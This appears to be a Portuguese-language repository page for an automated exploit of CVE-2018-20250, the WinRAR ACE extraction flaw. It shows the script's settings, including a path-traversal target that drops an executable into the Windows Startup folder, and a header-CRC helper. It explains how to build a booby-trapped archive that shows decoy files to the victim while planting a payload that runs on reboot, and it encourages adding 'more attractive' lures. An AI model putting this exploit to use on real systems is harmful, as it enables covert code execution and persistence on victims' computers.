tzwlhack/cve-2018-20250Script de exploração automatizado para CVE-2018-20250 (execução de código na extração ACE do WinRAR) que gera um arquivo de arquivo malicioso incorporando um payload na pasta de inicialização do Windows.
exp para Extraindo Execução de Código do Winrar
poc por Ridter
como usar?
você só precisa instalar o python 3.7, preparar um arquivo malicioso que deseja executar, definir os valores que deseja, este script exp gerará o arquivo malicioso automaticamente!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
test.rar automaticamente
test.rar, ela verá os arquivos hello.txt e world.txt, você também pode adicionar mais arquivos, arquivos mais atraentes.
hi.exe, na verdade é um calc.exe. ao reiniciar o computador, o hi.exe será executado.
divirta-se! :)